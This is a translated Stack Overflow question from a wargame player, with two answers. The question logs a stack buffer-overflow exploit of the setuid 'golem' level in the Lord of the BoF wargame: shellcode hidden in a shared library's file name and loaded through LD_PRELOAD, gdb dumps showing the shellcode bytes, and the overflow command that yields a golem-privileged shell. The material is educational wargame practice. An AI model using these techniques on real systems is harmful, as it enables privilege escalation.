Почему строка, указанная в `LD_PRELOAD`, загружается в память исполняемых файлов setuid в RedHat 6.2?

Прежде всего, позвольте мне рассказать вам контекст. Я решаю задачи варгейма The lord of the BoF, который основан на RedHat Linux 6.2, в котором нет рандомизация макета адресного пространства (ASLR), бит NX, броня ASCII и т. д. И gcc не создает никаких фиктивных элементов при компиляции кода. Когда я пытался решить проблему под названием golem, я кое-что задумался.

Журнал решений

Это исходный код файла golem. Как видите, он заполняет весь стек 0, кроме адреса возврата main.

login: skeleton
Password: 
unknown terminal "xterm-256color"
[skeleton@localhost skeleton]$ bash2
unknown terminal "xterm-256color"
[skeleton@localhost skeleton]$ ls
golem  golem.c
[skeleton@localhost skeleton]$ cat golem.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - golem
        - stack destroyer
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
    char buffer[40];
    int i;

    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }

    if(argv[1][47] != '\xbf')
    {
        printf("stack is still your friend.\n");
        exit(0);
    }

    strcpy(buffer, argv[1]); 
    printf("%s\n", buffer);

        // stack destroyer!
        memset(buffer, 0, 44);
    memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));
}

golem — это исполняемый файл с setuid.

[skeleton@localhost skeleton]$ ls -l . 
total 16
-rwsr-sr-x    1 golem    golem       12199 Mar  2  2010 golem
-rw-r--r--    1 root     root          539 Mar 29  2010 golem.c

Я создал пустую разделяемую библиотеку, имя которой содержит шеллкод, и установил переменную окружения LD_PRELOAD с абсолютным путем к файлу.

[skeleton@localhost skeleton]$ echo "" > so.c
[skeleton@localhost skeleton]$ gcc so.c -fPIC -shared -o `python -c "print '\x90'*200+'...(Shellcode)...'+'.so'"`
[skeleton@localhost skeleton]$ export LD_PRELOAD=`pwd`/`python -c "print '\x90'*200+'...(Shellcode)...'+'.so'"`

Затем я скопировал golem, чтобы отладить его с помощью gdb. Я отладил его и нашел строку /home/skeleton/...(Shellcode)....so в $ebp-1264(0xbffff6b8).

[skeleton@localhost skeleton]$ cp ./golem /tmp/em
[skeleton@localhost skeleton]$ gdb -q /tmp/em
(gdb) b *main+3
Breakpoint 1 at 0x8048473
(gdb) r
Starting program: /tmp/em 

Breakpoint 1, 0x8048473 in main ()
(gdb) x/50x $ebp-5000
0xbfffe820: 0x00000267  0x00000000  0x000003f0  0x000006db
...
(gdb) 
0xbfffe8e8: 0x00000358  0x000003ac  0x0000058d  0x0000070d
...
(gdb) 
0xbfffe9b0: 0x00000318  0x000006cb  0x000006e3  0x0000046b
...
(gdb) 
0xbfffea78: 0x000004fa  0x00000570  0x000006b4  0x00000000
...
(gdb) 
0xbfffeb40: 0x00000242  0x000006e7  0x000005a0  0x000005fa
...
(gdb) 
0xbfffec08: 0x00000404  0x00000648  0x00000577  0x000002ec
...
(gdb) 
0xbfffecd0: 0x00000000  0x00000000  0x000003a2  0x0000026c
...
(gdb) 
0xbfffed98: 0x0000009c  0x000005fc  0x000001c2  0x00000563
...
(gdb) 
0xbfffee60: 0x00000000  0x000004d9  0x000006c9  0x00000277
...
(gdb) 
0xbfffef28: 0x000005f6  0x00000551  0x000000b6  0x00000000
...
(gdb) 
0xbfffeff0: 0x000003a4  0x00000351  0x000006cd  0x000000b9
...
(gdb) 
0xbffff0b8: 0x0000045f  0x000006dd  0x000004a6  0x00000000
...
(gdb) 
0xbffff180: 0x000001c0  0x000005f1  0x00000457  0x00000712
...
(gdb) 
0xbffff248: 0x0000070b  0x00000167  0x00000555  0x00000619
...
(gdb) 
0xbffff310: 0x000004aa  0x000006be  0x000003ef  0x00000000
...
(gdb) 
0xbffff3d8: 0x0000062e  0x00000569  0x00000000  0x000005a1
...
(gdb) 
0xbffff4a0: 0xbfffe3cc  0xbfffe39c  0xbfffe414  0x00001000
...
(gdb) 
0xbffff568: 0x40013c00  0x00000004  0x40014ba0  0x00000003
...
(gdb) 
0xbffff630: 0x40013c00  0x4001a0d4  0x40010c9e  0x40000814
0xbffff640: 0x400138d4  0x40001402  0x400002f4  0x080482d0
0xbffff650: 0x080482d0  0xbffff69c  0x00000002  0x40023fd0
0xbffff660: 0x40013c00  0x4000ba15  0x40013868  0x40000814
0xbffff670: 0x400041b0  0x00000001  0xbffff684  0x40001528
0xbffff680: 0x000002c8  0x00000000  0x080482d0  0x00000000
0xbffff690: 0x00000001  0x40000824  0xbffff6a4  0x400075bb
0xbffff6a0: 0x40017000  0x00002fb2  0x40013868  0xbffff8e4
0xbffff6b0: 0x4000380e  0x400144d8  0x6d6f682f  0x6b732f65
0xbffff6c0: 0x74656c65  0x902f6e6f  0x90909090  0x90909090
0xbffff6d0: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff6e0: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff6f0: 0x90909090  0x90909090
(gdb) 
0xbffff6f8: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff708: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff718: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff728: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff738: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff748: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff758: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff768: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff778: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff788: 0x90909090  0x31909090  0x616850c0  0x68687361
0xbffff798: 0x6e696261  0x4e243480  0x04247480  0x2474804e
0xbffff7a8: 0xe3894e05  0xe1895350  0x0bb0d231  0x732e80cd
0xbffff7b8: 0x4000006f  0x40013868
(gdb) x/s 0xbffff6c8
0xbffff6c8:  '\220' <repeats 199 times>, "1"...
(gdb) x/s 0xbffff6c7
0xbffff6c7:  '\220' <repeats 200 times>...
(gdb) x/s 0xbffff6c7
0xbffff6c7:  '\220' <repeats 200 times>...
(gdb) 
0xbffff78f:  "1�Phaashhabin\2004$N\200t$\004N\200t$\005N\211�PS\211�1Ұ\013�\200.so"
(gdb) q
The program is running.  Exit anyway? (y or n) y

Я заменил обратный адрес main ожидаемым адресом шелл-кода, чтобы шелл-код мог выполняться с setuid, и это сработало.

[skeleton@localhost skeleton]$ /tmp/em `python -c "print 'A'*44+'\x40\xf7\xff\xbf'"`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@���
bash$ id
uid=510(skeleton) gid=510(skeleton) groups=510(skeleton)
bash$ exit  
exit
[skeleton@localhost skeleton]$ ./golem `python -c "print 'A'*44+'\x40\xf7\xff\xbf'"`  
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@���
bash$ id
uid=510(skeleton) gid=510(skeleton) euid=511(golem) egid=511(golem) groups=510(skeleton)
bash$ my-pass
euid = 511
cup of coffee
bash$ exit
exit
[skeleton@localhost skeleton]$ exit
...

Вопрос

Почему строка пути к файлу общей библиотеки указана в переменной среды LD_PRELOAD, загруженной в память исполняемого файла с setuid? Мне сказали, что LD_PRELOAD нельзя использовать с setuid.

я прочел


person Константин Ван    schedule 26.01.2017    source источник


Ответы (2)


В Linux все переменные среды видны программе через специальный третий аргумент main(), традиционно называемый envp: http://crasseux.com/books/ctutorial/Environment-variables.html

Если envp является частью вашей main() подписи, она будет указывать на массив, содержащий все переменные среды. Даже если это не так, имеет смысл, что массив все еще может существовать в адресном пространстве вашей программы.

Ничто из этого не означает, что загрузчик фактически учитывает LD_PRELOAD в любом конкретном сценарии - он может игнорировать его, например. под setuid, но переменная все равно будет существовать.

person John Zwinck    schedule 26.01.2017
comment
Согласно этой статье о структуре стека, стек состоит из ..., local variables of main, saved registers of main, return address of main, argc, argv, envp, stack from startup code, argc, argv pointers, NULL that ends argv[], environment pointers, NULL that ends envp[], ELF Auxiliary Table, argv strings, **environment strings**, program name, NULL по порядку. environment strings будет элементами того, что вы назвали an array containing all the environment variables. - person Константин Ван; 26.01.2017
comment
Но, как вы можете видеть в приведенном выше коде, golem удаляет все содержимое стека... включая **environment strings**: memset(buffer, 0, 44); memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));. - person Константин Ван; 26.01.2017

Чтобы немного уточнить ответ Джона, некоторые env. переменные полностью удаляются из среды setuid, то есть не передаются небезопасным подпроцессам (например, LD_DEBUG), а некоторые просто игнорируются, но передаются подпроцессам (например, LD_PRELOAD).

person yugr    schedule 26.01.2017